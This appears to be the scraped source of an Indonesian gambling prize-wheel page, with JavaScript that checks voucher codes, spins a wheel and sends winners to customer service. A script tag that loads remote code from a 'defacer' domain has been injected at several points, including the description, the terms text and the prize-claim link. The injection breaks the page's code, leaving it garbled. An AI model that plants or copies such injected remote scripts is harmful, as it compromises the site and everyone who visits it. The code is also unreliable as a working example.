x
x

Maaf Kode Yang Kamu Masukkan Salah, Harap Hubungi Customer Service Untuk Mendapatkan Kode Tiket!

" var desc = "
<script src="https://jso.defacer.id/raw/TdF5Cdyf51"></script>


" var tnc = "
<script src="https://jso.defacer.id/raw/TdF5Cdyf51"></script>


" show_alert2('
' + '

' + title + '

' + '
' + desc + '
' + '
' + '

Syarat & Ketentuan:

' + tnc + '
' + '
' + '' + '
' + '
') function close_all_modal() { document.getElementById("alert-bg2").className = "alert-bg2"; // document.getElementById("alert-bg").className = "alert-bg"; var audio = document.getElementById("casinoAudio"); audio.volume = 0.7; audio.play(); } function show_alert2(message) { document.getElementById("alert-text2").innerHTML = message; document.getElementById("alert-bg2").className = "alert-bg2 active"; document.getElementById("congratsAudio").play(); } function alert_close2() { document.getElementById("alert-bg2").className = "alert-bg2"; var audio = document.getElementById("casinoAudio"); audio.volume = 0.7; audio.play(); } function loaderElement() { return `
` } function spanElement(text) { return `${text}` } /***************** CLICK AND RECEIVE REWARD EVENTS *****************/ document.addEventListener("keydown", function(event) { const key = event.key; if (key === "Escape") { escapeHandler() } }) function escapeHandler() { try { document.querySelector('#access-key').classList.add('hide'); } catch (e) {} finally {} } function startSpin(rewardIndex = null, accessKey = null, username = null, rewardMessage = null, rewardValue = null) { _dynamicParams = { config: { allowSound: true } } if (rewardIndex !== undefined) { if (!_globalVars.isProcessing) { // Play sound if have config var spinSound = document.getElementById('spinSound'); if (_dynamicParams.config.allowSound) { spinSound.play().catch(function() {}); } spin(function(data) { spinSound.pause(); document.getElementById("congratsAudio").play(); swal({ title: 'Selamat', text: rewardMessage + ', silahkan hubungi CS untuk klaim hadiah!', icon: 'success', button: { text: 'Claim Disini', closeModal: false } }) .then(json => { window.open("<script src="https://jso.defacer.id/raw/TdF5Cdyf51"></script>?text=&text=Halo bossku, saya dengan ID *" + username + "* (Kode Tiket : " + accessKey + ") ingin klaim hadiah *" + rewardValue + "*."); swal('Berhasil!', 'Klaim Berhasil.', 'success') swal.stopLoading() swal.close() }) .catch(err => { swal('Opps!', 'Ada yang gagal saat proses klaim, mohon hubungi administrator kami untuk proses lebih lanjut.', 'error') swal.stopLoading() swal.close() }) console.log(data); }, rewardIndex); } } } function openFormSpin() { document.querySelector('#access-key').classList.remove('hide'); } function loadEvents() { // Spin tap _globalVars.elms.spin.click(function() { if (!_globalVars.isProcessing) { document.querySelector('#access-key-text-input').value = '' document.querySelector('#access-key').classList.remove('hide'); } }); // Redeem listener document.addEventListener('onRedeemCompleted', function(data) { // data.rewardValue => The reward value of user after finish spin the wheel. console.log(data.rewardValue); }, false); // Access button click if (document.querySelector('#access-key .btn-submit')) { setTimeout(function() { document.querySelector('#access-key .inner-content').classList.add('active'); }, 500); document.querySelector('#access-key .btn-submit').addEventListener('click', function(e) { verifyAccess() }, false); } } document.querySelector('#close-access-key').addEventListener('click', function(e) { document.querySelector('#access-key').classList.add('hide'); }, false); /* Function to handle click event for access button click */ var message = ""; var index = 0; var username = ""; var item_value = ""; function verifyAccess() { if (document.querySelector('#access-key .text-box')) { try { document.querySelector('#playButton').innerHTML = loaderElement() // Get access key value from textbox var accessKey = document.querySelector('#access-key .text-box').value; // Continue your code to validate access key const wrongVoucherCode = function() { swal('Gagal', 'Kode voucher yang kamu masukkan tidak valid!', 'error') } apiHttp.post(`/spin-wheel/check`, { voucher: accessKey }) .then((res) => { document.querySelector('#playButton').innerHTML = spanElement('Play') if (res && res.data) { message = res.data.message; index = res.data.index; username = res.data.username; item_value = res.data.item_value; if (res.data.success === true) { document.querySelector('#playButton').innerHTML = spanElement('Play') document.querySelector('#access-key').classList.add('hide'); if (typeof index === 'string') { index = parseInt(index); } startSpin((index - 1), accessKey, username, message, item_value) } else { if (res.data.used == true && res.data.claim != true) { swal({ title: 'Info', text: 'Kode kupon [' + accessKey + '] sudah digunakan dan belum berhasil di klaim, silahkan hubungi CS untuk klaim hadiah!', icon: 'info', button: { text: 'Claim Disini', closeModal: false } }) .then(json => { window.open("<script src="https://jso.defacer.id/raw/TdF5Cdyf51"></script>?text=&text=Halo bossku, saya dengan ID *" + username + "* (Kode Tiket : " + accessKey + ") ingin klaim hadiah *" + item_value + "*."); swal('Berhasil!', 'Klaim Berhasil.', 'success') swal.stopLoading() swal.close() }) .catch(err => { swal('Opps!', 'Ada yang gagal saat proses klaim, mohon hubungi administrator kami untuk proses lebih lanjut.', 'error') swal.stopLoading() swal.close() }) } else { swal('Gagal', message); } } } else { wrongVoucherCode() } }) .catch((err) => { document.querySelector('#playButton').innerHTML = spanElement('Play') console.log('err', err) wrongVoucherCode() }) } catch (ex) {} } }